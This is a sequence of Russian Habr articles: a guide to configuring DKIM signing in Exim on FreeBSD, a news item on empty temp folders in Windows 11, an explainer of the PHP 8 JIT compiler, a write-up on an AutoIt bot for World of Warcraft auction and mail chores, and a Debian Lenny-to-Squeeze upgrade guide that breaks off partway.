ssl_exporter-1.0.0-1.el7.x86_64.rpm
ssl_exporter-1.0.1-1.el7.x86_64.rpm
statsd_exporter-0.13.0-1.el7.centos.x86_64.rpm
statsd_exporter-0.14.1-1.el7.centos.x86_64.rpm
statsd_exporter-0.14.1-1.el7.x86_64.rpm
statsd_exporter-0.15.0-1.el7.x86_64.rpm
thanos-0.11.0-1.el7.x86_64.rpm
thanos-0.12.0-1.el7.x86_64.rpm
thanos-0.12.1-1.el7.x86_64.rpm
thanos-0.12.2-1.el7.x86_64.rpm
``` | https://habr.com/ru/post/507370/ | null | ru | null |
# Exim + DKIM на примере FreeBSD 8.2
#### Что такое DKIM и как оно работает
**DKIM** (расшифровывается как *DomainKeys Identified Mail*) — метод идентификации письма по доменным ключам.
DKIM настраивается на почтовом сервере для того, чтобы подписывать исходящие письма цифровой подписью. Наличие такой подписи в заголовке отправленного письма сообщает серверу-получателю, что оно действительно было отправлено с указанного домена.
Известно, что в СПАМ-письмах часто в поле *From:* ставят е-mail, не имеющий совершенно никакого отношения к отправителю. В этом случае DKIM поможет распознать реальное письмо от спама. В отличие от других методов цифровой подписи письма, DKIM совместим с существующими форматами и протоколами и может быть плавно интегрирован в имеющиеся системы доставки и получения почты.
Подпись письма происходит на SMTP-сервере с помощью секретного ключа (Private key), а расшифровка подписи происходит на сервере-получателе или клиентской программе с помощью публичного ключа (Public key). Что интересно, публичный ключ хранится в DNS, что позволяет убить сразу двух зайцев. Во-первых, нет необходимости прикладывать Public key с каждым письмом для его расшифровки. А во-вторых, в таком случае DKIM позволяет сообщать серверам-получателям что делать с письмом, которое не имеет цифровой подписи, но якобы отправлено от вас. Эта технология называется ADSP (Author Domain Signing Practices). ADSP также хранится в DNS SMTP-сервера и доступен всем и отовсюду.
#### Настройка DKIM в Exim
Для начала надо сформировать пару Private key + Public key.
О методах шифрования и длине ключа доступно написано в википедии:
> В DKIM используются уже устоявшиеся криптографические инструменты. На данный момент для цифровой подписи авторы DKIM предлагают два алгоритма: RSA-SHA256 и RSA-SHA1, но в будущем возможно расширение технологии для поддержки других алгоритмов. Длина ключа ограничина значением в 4096 бит, так как больший по длине ключ не поместится в максимальный размер DNS UDP-пакета — 512 байт. Рекомендованная длина ключа составляет от 1024 до 2048 бит. Слишком большая длина создает вычислительную нагрузку на сервер для обработки каждого сообщения, а слишком малая(384 или 512 бит) — взламывается перебором за актуальное время с помощью ПК или с использованием сервиса облачных вычислений.
По результатам исследований в наше время уже возможно расшифровать данные, зашифрованные RSA с длиной ключа 1024 бита. Поэтому оптимальным на сегодня будет ключ RSA длиной 2048 бит.
Для генерации пары ключей можно воспользоваться online-сервисом [www.port25.com/support/domainkeysdkim-wizard](http://www.port25.com/support/domainkeysdkim-wizard/) или же воспользоваться **openssl** в консоли.
##### Генерим секретный ключ через openssl
```
root@server# openssl genrsa -out /usr/local/etc/exim/example.com.key 2048
```
На выходе имеем ключ вида:
```
-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQDT1tSzyG2Zch4LTgGPbn/8H535Vd+friNn/gBsV7rFNVZdxapD
dOUzeATUTbAG/3Ux7vJxYd6i982IajVz0b2dsmkdDzctC4EdJsLcpCpyf3x21nYZ
oJO2GjaFW65MNj7dU7BXDerLTE+zTu/Q4vs4ZqCA39CtbmetjBS9l/NsMQIDAQAB
AoGBAM2ZyVFAatkQSBaivСLwlWknapSPgv4g7h5FSTXeI9i5frx+V1UnRDki+FTx
nbH9CErRZh8jZQj4x1Pp+T0SyRtb62ydJooPYIpNlTt71cgZNwH174uFt4HevKmC
MJIhzaufEZYhamS4NQOR+4FakdZX2T8yzuvwDwkplJP2tO/tAkEA7RDltCTOShdd
sJYs0wjs1mDXUiSz0giFAYvMBvOelpyjJl9Pi1A0CNcD4WdvAl0Xo5aRMVrTXRzf
....
-----END RSA PRIVATE KEY-----
```
##### Генерим публичный ключ на основе секретного
```
root@server# openssl rsa -in /usr/local/etc/exim/example.com.key -pubout
```
На выходе получим что-то вроде:
```
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA3GNADCBiQKBgQDT1tSzyG1Zch4LTgGPbn/8H535
Vd+friNn/gBsV7rFNVZdxapDd0UzeATUTbAG/3Ux7vJxYd6i982IajVz0b2dsmkd
DzctC4EdJsLcpCpyf3x21nYZoJO2GjaFW65MNj7dU7BXDerLTE+zTu/Q4vs4ZqCA
...
-----END PUBLIC KEY-----
```
##### Правим DNS
###### Добавляем DKIM селектор
Создаем в DNS запись **mail1.\_domainkey.example.com** типа TXT со значением:
```
k=rsa\; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDT1tSzyG1Zch4LTgGPbn/8H535Vd+friNn/gBsV7rFNVZdxapDdOUzeATUTb...
```
(В данном случае это синтаксис для DNS сервера на BIND, и другие DNS сервера могут не требовать знак “\” для экранирования “;”.)
Вместо **mail1** можете использовать другой селектор, например, **dkim**, **server**, **public** итд. Подобных записей Public key для DKIM может быть несколько.
Необходимо дождаться, когда обновится ваша DNS запись на других серверах. Это может занять несколько часов.
Проверять свою DKIM запись можно, например, с помощью сервиса [DNSWatch](http://www.dnswatch.info/dns/dnslookup?la=en&host=mail1._domainkey.example.com&type=TXT&submit=Resolve).
###### Добавляем ADSP запись
Создаем в DNS запись **\_adsp.\_domainkey.example.com** типа TXT со значением **dkim=unknown**.
Помимо **unknown** параметр dkim может иметь еще два значения — **all** и **discardable**.
* **unknown** — домен может подписывать некоторые или все письма.
* **all** — все письма с домена подписаны.
* **discardable** — все письма с домена подписаны. Кроме того, если письмо приходит без валидной подписи в связи с изменениями в пути, прохождением через путь без доступа к подписывающему ключу или по другим причинам, домен призывает адресата отклонить его.
##### Правим конфиг Exim
В файл */usr/local/etc/exim/configure* добавляем в начало:
```
## DKIM:
DKIM_DOMAIN = ${lc:${domain:$h_from:}}
DKIM_FILE = /usr/local/etc/exim/${lc:${domain:$h_from:}}.key
DKIM_PRIVATE_KEY = ${if exists{DKIM_FILE}{DKIM_FILE}{0}}
```
Эта конструкция позволит использовать разные Private key для разных доменов.
Подправляем транспорт **remote\_smtp**:
```
remote_smtp:
driver = smtp
dkim_domain = DKIM_DOMAIN
dkim_selector = mail1
dkim_private_key = DKIM_PRIVATE_KEY
```
Здесь **mail1** — наш селектор.
Сохраняем конфиг и перечитываем его:
```
root@server# service exim reload
```
#### Проверка DKIM
Проверить DKIM можно разными способами. Я опишу два из них.
1) Известно, что Gmail проверяет DKIM запись в письмах. Отправляем письмо на свой gmail ящик и смотрим заголовки.
Находим запись вида
```
Authentication-Results: mx.google.com;
spf=pass (google.com: domain of info@example.com designates 100.12.94.241 as permitted sender) smtp.mail=info@example.com;
dkim=pass header.i=@example.com
```
**dkim=pass** означает, что DKIM настроен и прошел успешную проверку.
2) Воспользоваться DKIM-чекером от сервиса [www.port25.com](http://www.port25.com).
Отправляем тестовое письмо на адрес *check-auth2@verifier.port25.com* и ждем от него обратно результат проверки.
Ссылки:
DKIM wiki [ru.wikipedia.org/wiki/DomainKeys\_Identified\_Mail](http://ru.wikipedia.org/wiki/DomainKeys_Identified_Mail)
DKIM ADSP [www.dkim.org/specs/draft-ietf-dkim-ssp-04.html](http://www.dkim.org/specs/draft-ietf-dkim-ssp-04.html)
DKIM wizard [www.port25.com/support/domainkeysdkim-wizard](http://www.port25.com/support/domainkeysdkim-wizard/)
HOWTO: Exim & DKIM [forum.lissyara.su/viewtopic.php?f=20&t=22162](http://forum.lissyara.su/viewtopic.php?f=20&t=22162)
man openssl
DNSWatch [www.dnswatch.info](http://www.dnswatch.info) | https://habr.com/ru/post/173605/ | null | ru | null |
# Пользователи: Windows 11 создает множество пустых папок в каталоге
Пользователи Windows 11 [находят](https://borncity.com/win/2021/11/01/auch-windows-11-flutet-ordner-mit-leerem-tmp-verzeichnismll/) в каталоге `C:\Windows\System32\config\systemprofile\AppData\Local` в среднем около 100 пустых временных папок, некоторые [сообщают](https://www.askwoody.com/forums/topic/provtool-exe-creating-temp-folders/) про тысячи пустых папок. Пока неизвестно, по какой причине они появляются и насколько это критично.
Любой пользователь WIndows 11 может выявить наличие данной ошибки. Для этого надо открыть Проводник и перейти в указанный каталог. ОС, возможно, выведет на дисплей предупреждение, которое появляется при любом открытии системных папок, но открыть эти папки все равно получится. И не стоит забывать про отображения скрытых файлов в свойствах папки. Чтобы это сделать, надо нажать Меню (три точки) > Параметры > Показывать скрытые файлы, папки и диски (параметр включен) > Скрывать защищенные файлы операционной системы (рекомендуется) чекбокс снят. Папки начинаются с `tw` и имеют расширение `*.tmp`. Если их открыть, можно увидеть, что они не содержат файлов и почти ничего не весят.
В Сети [предполагают](https://borncity.com/win/2021/11/01/auch-windows-11-flutet-ordner-mit-leerem-tmp-verzeichnismll/), что временные папки создаются встроенным в ОС инструментом Provisioning Package Runtime Processing tool(имя файла ProvTool.exe). Вообще, данная ошибка тянется с Windows 10, а вот в какой версии — неизвестно. Некоторые находили ее в обновлении от [мая](https://borncity.com/win/2021/06/15/windows-10-flutet-tmp-verzeichnis-mit-leerem-tmp-verzeichnismll/) 2021 года, кто-то в марте 2020 года, а [кто-то](https://www.askwoody.com/forums/topic/provtool-exe-creating-temp-folders/) в 2019 году, но она могла появиться намного раньше. И многие ссылаются на файл ProvTool.exe.
Пустые папки в версии Windows 10 от марта 2020 годаНа данный момент специалисты по информационным технологиям и рядовые пользователи сошлись на том, что эти папки с расширением \*.tmp можно спокойно удалять. Они не занимают места и их удаление не влияет на работу ОС. Сама ошибка демонстрирует нам более глубокую связь между Windows 10 и Windows 11. | https://habr.com/ru/post/586786/ | null | ru | null |
# Понимаем JIT в PHP 8
***Перевод статьи подготовлен в преддверии старта курса [«Backend-разработчик на PHP»](https://otus.pw/DdoM/)***
---
### TL;DR
*Компилятор Just In Time в PHP 8 реализован как часть [расширения Opcache](https://www.php.net/manual/en/book.opcache.php) и призван компилировать операционный код в инструкции процессора в рантайме.*
Это означает, что **с JIT некоторые операционные коды не должны интерпретироваться Zend VM, такие инструкции будут выполняться непосредственно как инструкции уровня процессора.**
### JIT в PHP 8
Одной из наиболее комментируемых фич PHP 8 является компилятор Just In Time (JIT). Он на слуху во множестве блогов и сообществ — вокруг него много шума, но пока я нашел не очень много подробностей о работе JIT в деталях.
После многократных попыток и разочарований найти полезную информацию, я решил изучить исходный код PHP. Совмещая свои небольшие познания языка С и всю разбросанную информацию, которую я смог собрать до сих пор, я сумел подготовить эту статью и надеюсь, что она поможет вам лучше понять JIT PHP.
**Упрощая вещи: когда JIT работает должным образом, ваш код не будет выполняться через Zend VM, вместо этого он будет выполняться непосредственно как набор инструкций уровня процессора.**
В этом вся идея.
Но чтобы лучше это понять, нам нужно подумать о том, как php работает внутри. Это не очень сложно, но требует некоторого введения.
Я уже писал статью с кратким [обзором того, как работает php](https://thephp.website/en/issue/how-does-php-engine-actually-work/). Если вам покажется, что эта статья становится чересчур сложной, просто прочитайте ее предшественницу и возвращайтесь. Это должно немного облегчить ситуацию.
### Как выполняется PHP-код?
Мы все знаем, что php — интерпретируемый язык. Но что это на самом деле означает?
Всякий раз, когда вы хотите выполнить код PHP, будь то фрагмент или целое веб-приложение, вам придется пройти через интерпретатор php. Наиболее часто используемые из них — PHP FPM и интерпретатор CLI. Их работа очень проста: получить код php, интерпретировать его и выдать обратно результат.
Это обычная картина для каждого интерпретируемого языка. Некоторые шаги могут варьироваться, но общая идея та же самая. В PHP это происходит так:
1. Код PHP читается и преобразуется в набор ключевых слов, известных как токены (Tokens). Этот процесс позволяет интерпретатору понять, в какой части программы написан каждый фрагмент кода. **Этот первый шаг называется лексирование (Lexing) или токенизация (Tokenizing)**.
2. Имея на руках токены, интерпретатор PHP проанализирует эту коллекцию токенов и постарается найти в них смысл. В результате абстрактное синтаксическое дерево (Abstract Syntax Tree — AST) генерируется с помощью процесса, называемого **синтаксическим анализом (parsing)**. AST представляет собой набор узлов, указывающих, какие операции должны быть выполнены. Например, «echo 1 + 1» должно фактически означать «вывести результат 1 + 1» или, более реалистично, «вывести операцию, операция — 1 + 1».
3. Имея AST, например, гораздо проще понять операции и их приоритет. Преобразование этого дерева во что-то, что может быть выполнено, требует промежуточного представления (Intermediate Representation IR), которое в PHP мы называем операционный код (Opcode). Процесс преобразования AST в операционный код называется компиляцией.
4. Теперь, когда у нас есть опкоды, происходит самое интересное: **выполнение** кода! PHP имеет движок под названием Zend VM, который способен получать список опкодов и выполнять их. После выполнения всех опкодов программа завершается.
Чтобы сделать это немного нагляднее, я составил диаграмму:
*Упрощенная схема процесса интерпретации PHP.*
Достаточно прямолинейно, как вы можете заметить. Но здесь есть и узкое место: какой смысл лексировать и парсить код каждый раз, когда вы его выполняете, если ваш php-код может даже не меняется так часто?
В конце концов, нас интересуют только опкоды, верно? Правильно! Вот зачем существует **расширение Opcache**.
### Расширение Opcache
Расширение Opcache поставляется с PHP, и, как правило, нет особых причин его деактивировать. Если вы используете PHP, вам, вероятно, следует включить Opcache.
Что он делает, так это добавляет слой оперативного общего кэша для опкодов. Его задача состоит в том, чтобы извлекать опкоды, недавно сгенерированные из нашего AST, и кэшировать их, чтобы при дальнейших выполнениях можно было легко пропустить фазы лексирования и синтаксического анализа.
Вот схема того же процесса с учетом расширения Opcache:
*Поток интерпретации PHP с Opcache. Если файл уже был проанализирован, php извлекает для него кэшированный операционный код, а не анализирует его заново.*
Это просто завораживает, как красиво пропускаются шаги лексирования, синтаксического анализа и компиляции.
> **Примечание**: именно здесь лучше всего себя проявляет [функция предварительной загрузки PHP 7.4](https://wiki.php.net/rfc/preload)! Это позволяет вам сказать PHP FPM анализировать вашу кодовую базу, преобразовывать ее в опкоды и кэшировать их даже до того, как вы что-либо выполните.
Вы можете начать задумываться, а куда сюда можно прилепить JIT, верно?! По крайней мере я на это надеюсь, именно поэтому я и пишу эту статью…
### Что делает компилятор Just In Time?
Прослушав объяснение Зива в [эпизоде подкастов PHP и JIT от PHP Internals News](https://phpinternals.news/7), мне удалось получить некоторое представление о том, что на самом деле должен делать JIT…
Если Opcache позволяет быстрее получать операционный код, чтобы он мог переходить непосредственно к Zend VM, JIT предназначить заставить его работать вообще без Zend VM.
Zend VM — это программа, написанная на C, которая действует как слой между операционным кодом и самим процессором. **JIT генерирует скомпилированный код во время выполнения, поэтому php может пропустить Zend VM и перейти непосредственно к процессору**. Теоретически мы должны выиграть в производительности от этого.
Поначалу это звучало странно, потому что для компиляции машинного кода вам нужно написать очень специфическую реализацию для каждого типа архитектуры. Но на самом деле это вполне реально.
Реализация JIT в PHP использует библиотеку [DynASM (Dynamic Assembler)](https://luajit.org/dynasm.html), которая отображает набор команд ЦП в конкретном формате в код сборки для многих различных типов ЦП. Таким образом, компилятор Just In Time преобразует операционный код в машинный код для конкретной архитектуры, используя DynASM.
Хотя одна мысль все-таки не давала мне покоя…
**Если предварительная загрузка способна парсить php-код в операционный перед выполнением, а DynASM может компилировать операционный код в машинный (компиляция Just In Time), почему мы, черт возьми, не компилируем PHP сразу же на месте, используя Ahead of Time компиляцию?!**
Одна из мыслей, на которые меня натолкнул эпизода подкаста, заключалась в том, что PHP слабо типизирован, то есть часто PHP не знает, какой тип имеет переменная, пока Zend VM не попытается выполнить определенный опкод.
Это можно понять, посмотрев на [тип объединения zend\_value](https://github.com/php/php-src/blob/43443857b74503246ee4ca25859b302ed0ebc078/Zend/zend_types.h#L282-L300), который имеет много указателей на различные представления типов для переменной. Всякий раз, когда виртуальная машина Zend пытается извлечь значение из zend\_value, она использует макросы, подобные [ZSTR\_VAL](https://github.com/php/php-src/blob/43443857b74503246ee4ca25859b302ed0ebc078/Zend/zend_types.h#L794), которые пытаются получить доступ к указателю строки из объединения значений.
Например, [этот обработчик Zend VM](https://github.com/php/php-src/blob/43443857b74503246ee4ca25859b302ed0ebc078/Zend/zend_vm_def.h#L722-L767) должен обрабатывать выражение «меньше или равно» (<=). Посмотрите, как он разветвляется на множество различных путей кода, чтобы угадать типы операндов.
**Дублирование такой логики вывода типов с помощью машинного кода неосуществимо и потенциально может сделать работу еще медленнее.**
Финальная компиляция после того, как типы были оценены, также не является хорошим вариантом, потому что компиляция в машинный код является трудоемкой задачей ЦП. Так что компиляция ВСЕГО во время выполнения — плохая идея.
### Как ведет себя компилятор Just In Time?
Теперь мы знаем, что не можем вывести типы, чтобы генерировать достаточно хорошую опережающую компиляцию. Мы также знаем, что компиляция во время выполнения стоит дорого. Чем же может быть полезен JIT для PHP?
Чтобы сбалансировать это уравнение, JIT PHP пытается скомпилировать только несколько опкодов, которые, по его мнению, того стоят. Для этого **он профилирует коды операций, выполняемые виртуальной машиной Zend, и проверяет, какие из них имеет смысл компилировать. (в зависимости от вашей конфигурации)**.
Когда определенный опкод компилируется, он затем делегирует выполнение этому скомпилированному коду вместо делегирования на Zend VM. Это выглядит как на диаграмме ниже:
*Поток интерпретации PHP с JIT. Если они уже скомпилированы, опкоды не выполняются через Zend VM.*
Таким образом, в расширении Opcache есть пара инструкций, определяющих, должен ли определенный операционный код быть скомпилирован или нет. Если да, то компилятор преобразует его в машинный код с помощью DynASM и выполняет этот новый сгенерированный машинный код.
Интересно, что, поскольку в текущей реализации есть ограничение в мегабайтах для скомпилированного кода (также настраиваемое), выполнение кода должно иметь возможность беспрепятственного переключения между JIT и интерпретируемым кодом.
Кстати, [эта беседа Бенуа Жакемона о JIT от php](https://afup.org/talks/3015-php-8-et-just-in-time-compilation) ОЧЕНЬ помогла мне разобраться во всем этом.
Я до сих пор не уверен в том, в каких конкретных случаях происходит компиляция, но я думаю, что пока не очень хочу это знать.
#### Так что, вероятно, ваш прирост производительности не будет колоссальным
Я надеюсь, что сейчас гораздо понятнее, ПОЧЕМУ все говорят, что большинство приложений php не получат больших преимуществ в производительности от использования компилятора Just In Time. И почему рекомендация Зива для профилирования и эксперимента с различными конфигурациями JIT для вашего приложения — лучший путь.
Скомпилированные опкоды обычно будут распределены между несколькими запросами, если вы используете PHP FPM, но это все равно не изменит правила игры.
Это потому, что JIT оптимизирует операции с процессором, а в настоящее время большинство php-приложений в большей степени завязаны на вводе/выводе, нежели на чем-либо еще. Не имеет значения, скомпилированы ли операции обработки, если вам все равно придется обращаться к диску или сети. Тайминги будут очень похожи.
**Если только...**
Вы делаете что-то не завязанное на ввод/вывод, например, обработку изображений или машинное обучение. Все, что не касается ввода/вывода, получит пользу от компилятора Just In Time. Это также причина, по которой люди сейчас говорят, что они склоняются больше к написанию нативных функций PHP, написанных на PHP, а не на C. Накладные расходы не будут разительно отличаться, если такие функции будут скомпилированы в любом случае.
Интересное время быть программистом PHP…
Я надеюсь, что эта статья была полезна для вас, и вам удалось лучше разобраться, что такое JIT в PHP 8. Не стесняйтесь связываться со мной в твиттере, если вы хотите добавить что-то, что я мог забыть здесь, и не забудьте поделиться этим со своими коллегами-разработчиками, это, несомненно, добавит немного пользы вашим беседам!`-- @nawarian`
---
[PHP: статические анализаторы кода](https://otus.pw/DdoM/)
--- | https://habr.com/ru/post/509598/ | null | ru | null |
# Создание простого бота для WoW: продолжение
Это продолжение предыдущей статьи:
[Создание простого бота для онлайн-игры world of warcraft](http://habrahabr.ru/blogs/gdev/113258/)
В этой части я рассмотрю процесс взаимодействия с аукционером и почтовым ящиком. Если предыдущая часть была более общая, то эта часть уже больше связана с миром WoW и многое врядли будет применимо к другим онлайн-играм.
В той статье мы создали бота, который умеет самостоятельно приходить к NPC-аукционеру. Теперь нам необходимо реализовать дальнейшие наши действия. Сначала я немного расскажу как происходит торговля на аукционе. Я лично торгую символами, но аддоны, которые я использую, также позволяют автоматизировать торговлю любыми крафтовыми предметами. Я использую [TradeSkill Master](http://wow.curse.com/downloads/wow-addons/details/tradeskill-master.aspx), это аддон от авторов auction profit masterа, который раньше назывался quick auctions. Смысл в чем: у меня лежит на аукционе около 400-500 моих предметов. Кроме меня на сервере есть еще 4-5 человек, которые торгуют тем же товаром в таких же объемах. Моя задача — все время держать цену на товар ниже чем у них. Это позволяет делать аддон: он автоматически сканирует аукцион, если находит что кто-то выставил предмет по цене ниже моей он снимает мой лот с торгов. Предмет отправляется на почту. Соответсвенно его потом нужно забрать с почты и выложить по цене ниже чем у конкурентов. Цену назначает также аддон.
Т.е. фактически задача бота заключается в том, что нужно прийти к аукционеру, открыть окно аукциона, запустить выставление на аукцион предметов, затем запустить отмену лотов, когда все отменится — пойти на почту и все забрать, дальше вернуться на аукцион. Бота, который умеет приходить к NPC-аукционеру мы уже написали. Теперь наша задача начать торговлю.
#### Торговля
Здесь уже идет чистый AutoIt, с небольшим добавлением макросов.
Нам понадобится один макрос, который будет брать в цель аукционера — это
```
/ц Аукционист Дрезмит
```
Назначаем этот макрос, например, на кнопку «9». Дальше нам необходимо начать с ним торговлю. Тут тоже все просто: в настройках назначения клавиш, раздел «функции использования целей» надо назначить кнопку «взаимодействовать с целью», я ее назначил на "\" например.
После открытия аукциона необходимо запустить процесс выставления товаров из сумок на аукцион. В моем аддоне это желается простым кликом по кнопке, в других аддонах может потребоваться два клика — не принципиально, все равно функция получается тривиальной:
```
Func StartPostingAuc()
Send("9") ; берем аукциониста в цель
Sleep(300)
Send("\") ; открываем аукцион
Sleep(2000); на всякий случай вдруг проблема с пингом или еще что - лучше подождать
MouseClick("left", 1278, 155) ; кликаем на кнопку "начать постинг"
Sleep(2000)
$state = "posting" ; постинг
EndFunc
```
Собственно сама функция постинга тоже довольно проста. После нажатия на кнопку у нас появляется такое окно:
В нем внизу идет прогрессбар, а наверху появляется кнопка, по клику на ней наш товар выставляется на аукцион.
Соответственно наша задача кликать по кнопке пока есть прогресс-бар, как только прогресс-бар заканчивается — переходим к следующему шагу — отмене товаров, цену на которые перебили
```
Func PostingAuc()
$borderPixelColor = PixelGetColor(937,527); наличие прогрессбара определеяем по его рамке - пока она есть, есть и прогресс-бар
While $borderPixelColor = 6249826 and $state = "posting" ; пока есть прогресс-бар - кликаем
MouseClick("left", 1026, 210)
Sleep(500);
$borderPixelColor = PixelGetColor(937,527);
Wend
if $state = "posting" then ; если закончили выставлять - переходим к следующему шагу - отмене
$state = "startcancel"
EndIf
EndFunc
```
Отмена ничем принципиально не отличается от постинга, такое же точно окно с прогрессбаром и одной кнопкой. Соответственно функции точно такие же, просто кликаем. Вот собственно и весь процесс торговли.
#### Перемещение к почтовому ящику
После того, как все отмененные товары попали на почту, надо их оттуда забрать. Для этого мы идем к почтовому ящику. В принципе процесс ходьбы к почтовому ящику почти ничем не отличается от процесса ходьбы к аукционеру:
Также пишем семафор, который будет показывать куда идти. Также делаем поворот системы координат чтобы было проще ориентироваться. Когда персонаж стоит лицом к почтовому ящику угол составляет 2.31 радиан.
Единственная разница: когда идешь в сторону почтового ящика в стенах есть выступающие элементы, в которые я иногда врезался, поэтому при создании семафора я этот момент учел и сделал чтобы при приближении к стене от отодвигался от нее вправо. В принципе это было сделано просто добавлением еще одной ветки в if:
```
elseif(mailPosX < 0.2000 and mailPosY > 0.896) then
PlayerMailGoForvard:SetTexture(1,0,0);
PlayerMailGoBack:SetTexture(1,0,0);
PlayerMailGoLeft:SetTexture(1,0,0);
PlayerMailGoRight:SetTexture(0,1,0);
PlayerOnMail:SetTexture(1,0,0);
```
Т.е. x < 0.2 это пока не выйду из здания, y > 0.896 — приближаюсь к стене, надо отойти. Как только вышел из здания стены уже нет, отходить не надо.
Теперь, когда персонаж пришел к почтовому ящику надо его каким-то образом открыть.
Способ как с аукционером тут не работает — почтовый ящик нельзя взять в цель.
Поэтому тут требуется небольшая подготовка: перед запуском бота необходимо максимально приблизить камеру и сделать чтобы он смотрел вперед и вниз. Раньше api вова позволял узнать текущее положение камеры, и можно было бы написать семафор для управления камерой, но после того как предприимчивые люди написали аддон дополненной реальности, который существенно упрощал жизнь игроку, эту функцию апи запретили к использованию в аддонах. Поэтому придется камеру настраивать вручную, при запуске бота: для взаимодействия с аукционером все равно как направлена камера.
Итак, мы пришли к почтовому ящику, камера направлена вниз. Видим примерно такую картину:
Наша задача кликнуть по почтовому ящику правой кнопкой мыши.
Тут возникают проблемы:
1. мы не можем гарантировать точно точку, в которую мы придем, только примерно
2. почтовый ящик может быть загорожен другим игроком
Эти проблемы означают следующее: мы не можем захардкодить точку, по которой надо кликать, чтобы открыть почтовый ящик, как мы поступаем в случае с другими кнопками.
Но с учетом нашего алгоритма похода к почтовому ящику мы считаем что скорее всего он будет где-то в левой трети экрана.
Соответсвенно напишем функцию, которая будет кликать сначала в то место, где чаще всего находится почтовый ящик, и если она его не находит — кликать по левой трети экрана пока не найдет.
За 9 часов тестирования эта функция только 2 раза не смогла найти почтовый ящик, и то по моей вине: путь до ящика был плохо прописан, персонаж падал с уступа на котором он стоял и ящика на экране вообще не было. Проблема была решена прописыванием в семафор условия, при котором персонаж должен отойти немного назад чтобы не упасть.
```
elseif (mailposX > 0.203) then
PlayerMailGoForvard:SetTexture(1,0,0);
PlayerMailGoBack:SetTexture(0,1,0);
PlayerMailGoLeft:SetTexture(1,0,0);
PlayerMailGoRight:SetTexture(1,0,0);
PlayerOnMail:SetTexture(1,0,0);
```
ПОчтовый ящик в открытом состоянии (слева вверху виден кусок обновленного семафора, более компактного):
Собственно открытие почтового ящика мы будем определять по появлению красной кнопки «получить все». Функция для autoit у меня получилась такая:
```
Func OpenMail()
$x1 = 392 ; позиция, в которой почтовый ящик находится наиболее часто
$y1 = 382
While not (PixelGetColor(237,515) = 6226176) ; пока не появится красная кнопка - обходим заданную область поиска
MouseClick("right", $x1, $y1);
$y1 = $y1 + 20
if $y1 > 620 Then
$x1 = $x1 + 10
$y1 = 54
if $x1 > 650 and $y1 > 620 Then
$x1 = 194
$y1 = 54
EndIf
EndIf
Sleep(200)
Wend
MouseClick("left", 237,515)4 когда нашли кнопку - кликаем по ней
Sleep(1000)
MouseClick("left", 237,535); убираем с нее мышку
$state = "givingmails"; переходим к получению писем
EndFunc
```
При этом после клика по красной кнопке она становится серой до того момента, пока все письма не будут получены
#### Получение писем
Вообще получение писем работает довольно просто: нужно просто стоят и ждать пока умный TradeSkillMaster не извлечет все письма из почты. Как только аддон все извлечет — кнопка меняется на красную и можно идти обратно к аукционисту: это мы уже умеем.
Казалось бы все, бот написан. Но тут то меня и поджидали самые большие проблемы: узнать о том, что все письма получены, оказалось не такой тривиальной задачей, как выглядело сначала. Вообще есть два способа узнать что все письма получены:
1. кнопка снова стала красной. самый простой вариант, к сожалению — самый редкий.
2. сумки заполнились — при этом кнопка не становится красной и бот мог бы вечно стоять и ждать возле почты. Чтобы решить эту проблему бот автоматически открывает последнюю сумку при запуске и следит чтобы последняя ячейка в ней была пустой. Как только цвет последней ячейки сумки меняется — значит сумки заполнены, пора идти на аукцион
3. иногда trade skill master глючит и некоторые пустые письма не удаляются с почты. В этом случае кнопка тоже никогда не становится красной, даже если писем на почте уже нет. В этом случае проблема решается просто: я взял последний слот почты, и смотрю меняется он или нет: при получении писем они постоянно сдвигаются вверх и слот меняется. Когда все письма получены он перестает меняться. Если он не меняется в течении 20 секунд — значит пора идти выставлять товар.
Итого функция получилась такая:
```
Func GiveMails()
if PixelGetColor(237,515) = 6226176 or $i = 25 or not (PixelGetColor(1665, 868) = 2761500) then ; проверяем на соответствие одному из трех условий
$state = "goingtoauc"
$i = 0
EndIf
if PixelGetColor(52,470) = $prevcolor then ; сохраняем состояние слота и ведем подсчет секунд, сколько времени цвет не менялся
$i = $i+1
else
$i = 0
EndIf
$prevcolor = PixelGetColor(52,470)
Sleep(1000)
EndFunc
```
##### Все, мы успешно получили письма, возвращаемся к аукционеру!
В целом на этом я завершил свою разработку, потому что теперь мой бот умеет делать все, что я от него изначально хотел: приходит к аукционеру, выставляет свои предметы, отменяет предметы с перебитыми ценами, приходит на почту, забирает свои вещи, возвращается на аукцион, выставляет, и далее по кругу.
В качестве заключения хочу сказать что разработка ботов для онлайн-игр это как логическая игра:
Как заставить его забрать все письма? Каким образом обойти ту или иную особенность? Как лучше реализовать ту или иную функцию? Выходные считаю проведенными с толком, хорошая разминка для мозгов :) | https://habr.com/ru/post/113271/ | null | ru | null |
# Debian Lenny 5 «закончился». Переходим на Debian Squeeze 6!
 Как известно, полтора месяца назад (в феврале) закончилась поддержка 5-го Дебиана и он официально канул в лету, т.е. в архив archive.debian.org.
Что делать дальше? — Задумались многие хостеры. Ведь перейти на 6-ой Дебиан не так уж и просто в связи с несколькими факторами:
1) Его не поддерживают некоторые панели управления (как минимум, ISP Manager имеет свои странности, хотя разработчики и локализовали почти все проблемы)
2) Из коробки доступен PHP 5.3 вместо уже привычного нам 5.2, а это чревато тем, что перестанет работать много сайтов. Одним из самых неприятных моментов является отсутствие функции ereg, которая используется огромным количеством народа в скриптах, в неофициальных модулях к популярным CMS (свежие версии самих CMS уже совместимы с ним).
Но никто не стоит на месте, а тем более не смотрит назад, и в любом случае переходить на 6-ой нужно, поэтому приступим.
Для начала давайте разберем сам переход. В принципе, он произошёл без неожиданностей. Опишу:
1) Добавляем в /etc/sources.list необходимые репозитории:
```
# Squeeze
deb http://security.debian.org squeeze/updates main contrib non-free
deb http://ftp.ru.debian.org/debian/ squeeze main non-free contrib
deb ftp://ftp.debian-multimedia.org squeeze main non-free
```
2) Обновляем списки пакетов командой:
```
# apt-get update
```
3) Обновляем саму операционную систему:
```
# apt-get dist-upgrade
```
Лично у меня всё прошло гладко, но, как пишут в интернете, может мешать некий пакет splashy, на всякий случай удалите и его перед установкой.
```
# apt-get purge splashy
```
Всё, перезагружаемся и наслаждаемся (будем надеяться) свежей версией дебиана.
Следующий шаг, о котором я говорил выше – это PHP 5.2.
Приступим. Способ, в принципе, тривиален.
1) Необходимо удалить PHP5. Если он установлен (при апгрейде, полагаю, он у всех обновился):
```
